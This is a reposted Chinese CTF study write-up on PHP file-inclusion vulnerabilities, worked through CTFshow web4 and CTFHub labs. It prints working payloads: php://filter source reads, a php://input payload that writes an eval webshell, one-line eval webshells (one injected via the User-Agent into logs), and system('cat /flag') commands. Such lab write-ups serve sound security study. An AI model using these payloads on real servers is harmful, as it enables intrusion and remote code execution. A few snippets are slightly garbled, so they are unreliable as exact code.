0


基于CTFshow的web4下的文件包含学习

CTFshow web4

题目场景

​ 打开题目链接,如下图所示:

在这里插入图片描述

考点:文件包含(a kind of 代码注入)

1、定义

在这里插入图片描述

2、常见类型

  1. include()
  2. include_once()
  3. require()
  4. require_once()

3、解题思路

在这里插入图片描述

​ 判断远程文件包含:下列两项都处于ON模式

在这里插入图片描述
在这里插入图片描述

4、Demos

1.demo1在这里插入图片描述

在这里插入图片描述

2.demo2

在这里插入图片描述

https://www.php.net/manual/zh/wrappers.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

http://4.chinalover.sinaapp.com/web7/index.php

点击”click me?no“ 发现如下:

在这里插入图片描述

?file=php://filter/read=convert.base64-encode/resource=index.php
  1. 这道题不知道绝对路径,所以排除file协议用filter。
  2. ”resource=“,可以指定要筛选的数据流。
  3. ”read=“,可以设定过滤器的名称。
  4. 读取index.php的内容,并把输入流进行base64编码输出。
  5. 进行base64编码是因为:不编码会被当成php文件执行,就无法看见flag内容。

在这里插入图片描述

3、demo3

在这里插入图片描述

条件:只要allow_url_include=on便可以。

在这里插入图片描述

代码审计

在这里插入图片描述

注释:

​ 1.看php.ini文件

​ 2.rfi:Remote file inclusion. 不能使用远程文件包含。

在这里插入图片描述

​ 访问php.ini文件,发现allow_url_include=on尝试使用php://input写入木马。

在这里插入图片描述

木马文件
<?phpfputs(fopen("shell.php","w"),'<?php eval($_POST["xxx"]);?>')?>

使用HackBar上传php木马,生成shell.php的木马文件。

在这里插入图片描述

连接,访问flag.txt。

4.demo4

在这里插入图片描述

在这里插入图片描述

双开启:考虑远程文件包含

在这里插入图片描述

?param=url
一句话木马:<?phpeval(POST['hacker'])?>

知识点

  1. PHP 是一种创建动态交互性站点的强有力的服务器端脚本语言。(PHP是一个拥有众多开发者的开源软件项目,最开始是Personal Home Page的缩写,已经正式更名为 “PHP: Hypertext Preprocessor”:超文本预处理器)
  2. PHP 脚本以 <?php** 开始,以 **?> 结束:<?php// PHP 代码?>
  3. include()。在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。
  4. 在 PHP 中,预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制。
  5. 预定义的 $_POST 变量用于收集来自 method=“post” 的表单中的值。从带有 POST 方法的表单发送的信息,对任何人都是不可见的(不会显示在浏览器的地址栏),并且对发送信息的量也没有限制。
  6. 包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
  7. eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
<?phpeval($_POST['a']);?>
  1. 在这里插入图片描述

​ 使用代理工具将<?php eval($_POST['a']);?>插入到”User-Agent“后面而不是另起一行!

  1. 通过剑蚁连接,密码伟为<?php eval($_POST['a']);?>中的”a“
  2. 使用文件管理功能找到flag.txt.得到flag。

CTFHub文件包含实战

1、文件包含

题目场景:

在这里插入图片描述

<?php
error_reporting(0);          //取消报错
if (isset($_GET['file'])) {   //判断是否通过get接收到参数”file“
    if (!strpos($_GET["file"], "flag")) { //判断接收到的file参数中是否包含”flag”字段
        include $_GET["file"];//如果接收到的内容不含flag字段,就include包含文件
    } 
    else {
        echo "Hacker!!!";    //不满足if条件,即包含有flag,打印出“Hacker!!!”
    }
} else {
    highlight_file(__FILE__);  //highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
}
?>

点击shell之后出现如下页面:

在这里插入图片描述

<?phpeval($_REQUEST['ctfhub']);?>//密码为ctfhub的一句话木马

解题思路:

​ 现在题目已经给了我们一句话木马,我们应该想该如何去使用它,即是如何将shell.txt中的内容放到index.php中

在这里插入图片描述

根据源码,构造payloa上传木马文件。

剑蚁连接得到flag。

其中剑蚁连接后手动去找flag比较麻烦,推荐使用虚拟终端然后输入: cat /flag

在这里插入图片描述

2、php://input

查看phpinfo发现allow_url_include=on,即可以使用php://input

在这里插入图片描述

<?phpsystem("ls /")?>//显示根目录

成功执行,发现flag文件

<?phpsystem("cat /flag_16467")?>//查找显示flag文件

得到flag
在这里插入图片描述

3、读取源代码

题目页面场景:

在这里插入图片描述

file参数内容里前6个字符必须是

php://

考虑使用php://filter,其可以作为一个中间流来处理其他流,具有四个参数:
名称描述备注resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符()分隔。<;两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
直接构造payload:

/?file=php://filter/read=convert.base64-encode/resource=/flag

然后base64解码得到flag。

4、远程包含

在这里插入图片描述


另一种方法的思路是:在服务器上建立一个一句话木马文件,然后上传到目标网页上。后用剑蚁连接得到flag。(我暂时没有用服务器就没采用这种方法。)

标签: 学习 php web安全

本文转载自: https://blog.csdn.net/weixin_62870950/article/details/127057151
版权归原作者 Cyber Striver 所有, 如有侵权,请联系我们删除。

“基于CTFshow的web4下的文件包含学习”的评论:

还没有评论